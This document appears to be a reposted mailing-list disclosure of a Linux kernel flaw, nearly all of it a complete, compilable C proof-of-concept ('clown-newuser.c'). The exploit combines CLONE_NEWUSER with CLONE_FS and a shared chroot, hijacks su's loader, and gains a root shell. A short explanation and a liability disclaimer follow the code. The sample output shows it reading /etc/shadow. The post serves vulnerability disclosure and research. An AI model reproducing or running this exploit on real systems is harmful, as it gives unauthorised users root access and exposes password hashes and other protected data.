Seems like CLONE_NEWUSER|CLONE_FS might be a forbidden
combination.
During evaluating the new user namespace thingie, it turned out
that its trivially exploitable to get a (real) uid 0,
as demonstrated here:
/* clown-newuser.c -- CLONE_NEWUSER kernel root PoC
*
* Dedicated to: Locke Locke Locke Locke Locke Locke Locke!
*
* This exploit was made on the 13.3.13.
*
* (C) 2013 Sebastian Krahmer
*
* We are so 90's, but we do 2013 xSports.
*
* Must be compiled static:
*
* stealth@linux-czfh:~> cc -Wall clown-newuser.c -static
* stealth@linux-czfh:~> ./a.out
* [**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer
*
* [+] Found myself: '/home/stealth/a.out'
* [*] Parent waiting for boomsh to appear...
* [*] Setting up chroot ...
* [+] Done.
* [*] Cloning evil child...
* [+] Done.
* [+] Yay! euid=0 uid=1000
* linux-czfh:/home/stealth # grep bin /etc/shadow
* bin:*:15288::::::
* linux-czfh:/home/stealth #
*
*/
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
void die(const char *msg)
{
perror(msg);
exit(errno);
}
int child(void *arg)
{
sleep(1);
setuid(0);
/* this will also affect the parent, but the parent
* has the init_user_ns, so it will start suid with real uid 0.
*/
if (chdir("chroot") < 0)
die("[-] chdir");
if (chroot(".") < 0)
die("[-] chroot");
return 0;
}
char child_stack[1<<10];
int setup_chroot(const char *me)
{
mkdir("chroot", 0755);
mkdir("chroot/lib64", 0755);
mkdir("chroot/bin", 0755);
if (link(me, "chroot/lib64/ld-linux-x86-64.so.2") < 0)
die("[-] link");
if (link("/bin/su", "chroot/bin/su") < 0)
die("[-] link");
return 0;
}
extern char **environ;
int main(int argc, char *argv[])
{
char *su[] = {"/bin/su", NULL};
char *sh[] = {"/bin/bash", NULL};
char me[256], *mee[] = {me, "1", NULL};
pid_t pid;
struct stat st;
if (geteuid() == 0 && argc == 1) {
/* this will run inside chroot, started as the ld.so from su process */
printf("[+] Yay! euid=%d uid=%d\n", geteuid(), getuid());
chown("lib64/ld-linux-x86-64.so.2", 0, 0);
chmod("lib64/ld-linux-x86-64.so.2", 04755);
exit(0);
} else if (geteuid() == 0) {
/* this will run outside */
setuid(0);
execve(*sh, sh, environ);
die("[-] execve");
}
printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer\n\n");
memset(me, 0, sizeof(me));
readlink("/proc/self/exe", me, sizeof(me) - 1);
printf("[+] Found myself: '%s'\n", me);
if (fork() > 0) {
printf("[*] Parent waiting for boomsh to appear...\n");
for (;;) {
stat(me, &st);
if (st.st_uid == 0)
break;
sleep(1);
}
execve(me, mee, NULL);
die("[-] execve");
}
printf("[*] Setting up chroot ...\n");
setup_chroot(me);
printf("[+] Done.\n");
printf("[*] Cloning evil child...\n");
pid = clone(child, child_stack + sizeof(child_stack), CLONE_NEWUSER|CLONE_FS|SIGCHLD, NULL);
if (pid == -1)
die("[-] clone");
printf("[+] Done.\n");
waitpid(pid, NULL, 0);
execve(*su, su, NULL);
die("[-] execve");
return -1;
}
The trick is to setup a chroot in your CLONE_NEWUSER,
but also affecting the parent, which is running
in the init_user_ns, but with the chroot shared.
Then its trivial to get a rootshell from that.
Tested on a openSUSE12.1 with a custom build 3.8.2 (x86_64).
I hope I didnt make anything wrong, mixing up the UIDs,
or disable important checks during kernel build on my test
system. ;)
regards,
Sebastian Krahmer
krahmer@suse.de
krahmer@suse.de
//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information